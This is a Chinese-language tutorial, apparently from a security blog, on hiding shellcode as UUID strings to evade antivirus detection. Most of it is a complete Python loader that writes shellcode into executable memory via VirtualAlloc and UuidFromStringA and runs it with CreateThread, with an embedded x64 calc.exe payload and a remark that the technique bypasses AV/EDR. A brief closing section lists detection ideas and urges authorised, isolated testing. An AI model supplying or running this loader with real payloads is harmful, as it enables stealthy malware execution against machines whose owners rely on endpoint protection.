首先了解一下 UUID: UUID(通用唯一标识符)是一种 128 位的值,常用于软件系统中,用以提供几乎可以保证唯一性的引用。它通常以字符串形式表示,由十六进制数字组成,并被划分为五个部分。由于其结构和生成方式(基于时间戳或随机数),UUID 发生冲突的可能性极低,因此非常适合在分布式系统中用于标识对象或记录,尤其是在缺乏中心化唯一性管理机制的场景下。
恶意脚本,主要利用了微软提供的一个 API 函数(), 该函数可以将 UUID 字符串转换为二进制格式。因此,上面的一堆 UUID, 一旦解码为原始字节,就会以 shellcode 的身份注入到内存中执行。利用这种技术的恶意软件逃避追杀的概率极高,VT 评分仅为:2/61。
基于 UUID 的 Shellcode 加载器(Python 实现)
这段代码模拟了攻击者如何将 Shellcode 编码为 UUID 格式,并在内存中加载执行。实际攻击中,此类代码可能用于绕过 AV/EDR 检测。
假设我们有一段简单的 Shellcode(如弹计算器 calc.exe 的 x64 Shellcode),可以将其分割为 16 字节的块,并转换为 UUID 格式:
import ctypes
import uuid
def generate_uuid_shellcode(shellcode):
"""将Shellcode转换为UUID格式的字符串列表"""
uuid_shellcode = []
for i in range(0, len(shellcode), 16):
chunk = shellcode[i:i+16]
# 不足16字节用NOP (0x90) 填充
if len(chunk) < 16:
chunk += b"\x90" * (16 - len(chunk))
uuid_str = str(uuid.UUID(bytes_le=chunk))
uuid_shellcode.append(uuid_str)
return uuid_shellcode
def execute_uuid_shellcode(uuid_shellcode):
"""在内存中加载并执行UUID格式的Shellcode"""
# 分配可读、可写、可执行的内存 (RWX)
rwx_page = ctypes.windll.kernel32.VirtualAlloc(
ctypes.c_int(0),
ctypes.c_int(len(uuid_shellcode) * 16),
ctypes.c_int(0x1000), # MEM_COMMIT
ctypes.c_int(0x40) # PAGE_EXECUTE_READWRITE
)
if not rwx_page:
print("[!] VirtualAlloc 失败!")
return False
# 将UUID字符串转换回二进制并写入内存
ptr = rwx_page
for u in uuid_shellcode:
status = ctypes.windll.rpcrt4.UuidFromStringA(
ctypes.c_char_p(u.encode()),
ctypes.c_void_p(ptr)
)
if status != 0:
print(f"[!] UuidFromStringA 失败 (状态: {status})")
return False
ptr += 16
# 创建线程执行Shellcode
thread_handle = ctypes.windll.kernel32.CreateThread(
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.c_void_p(rwx_page),
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.pointer(ctypes.c_int(0))
)
if not thread_handle:
print("[!] CreateThread 失败!")
return False
# 等待线程结束
ctypes.windll.kernel32.WaitForSingleObject(
ctypes.c_int(thread_handle),
ctypes.c_int(-1)
)
return True
if __name__ == "__main__":
# 示例Shellcode (x64弹计算器,需替换为实际研究用途的Shellcode)
shellcode = (
b"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
b"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
b"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
b"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
b"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
b"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01"
b"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48"
b"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"
b"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c"
b"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0"
b"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"
b"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
b"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
b"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
b"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f"
b"\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff"
b"\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"
b"\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c"
b"\x63\x2e\x65\x78\x65\x00"
)
# 生成UUID格式的Shellcode
print("[+] 生成UUID格式的Shellcode...")
uuid_shellcode = generate_uuid_shellcode(shellcode)
for u in uuid_shellcode:
print(f'"{u}",')
# 执行Shellcode
print("\n[+] 执行Shellcode...")
if execute_uuid_shellcode(uuid_shellcode):
print("[+] Shellcode执行完成!")
else:
print("[!] Shellcode执行失败!")
关键代码解释#
generate_uuid_shellcode
#
- 将原始 Shellcode 按 16 字节分块。
- 每块转换为 UUID 字符串(小端字节序)。
execute_uuid_shellcode
#
- 使用
VirtualAlloc
分配 RWX 内存。 - 调用
UuidFromStringA
将 UUID 还原为二进制并写入内存。 - 通过
CreateThread
执行内存中的 Shellcode。
Shellcode 替换#
- 示例中的 Shellcode 是 x64 弹计算器的 Payload,实际研究中可替换为其他合法用途的 Shellcode(如漏洞研究中的 PoC)。
防御建议#
监控以下 API 调用:#
VirtualAlloc
+CreateThread
组合。UuidFromStringA
用于转换长字符串。
行为检测:#
- 检查进程是否频繁分配 RWX 内存。
- 使用 EDR 工具(如 Elastic Endpoint)捕获内存注入行为。
测试环境:#
- 仅在隔离的虚拟机(如 VMware + 快照)中运行此类代码。
请始终遵守渗透测试授权和合规性要求!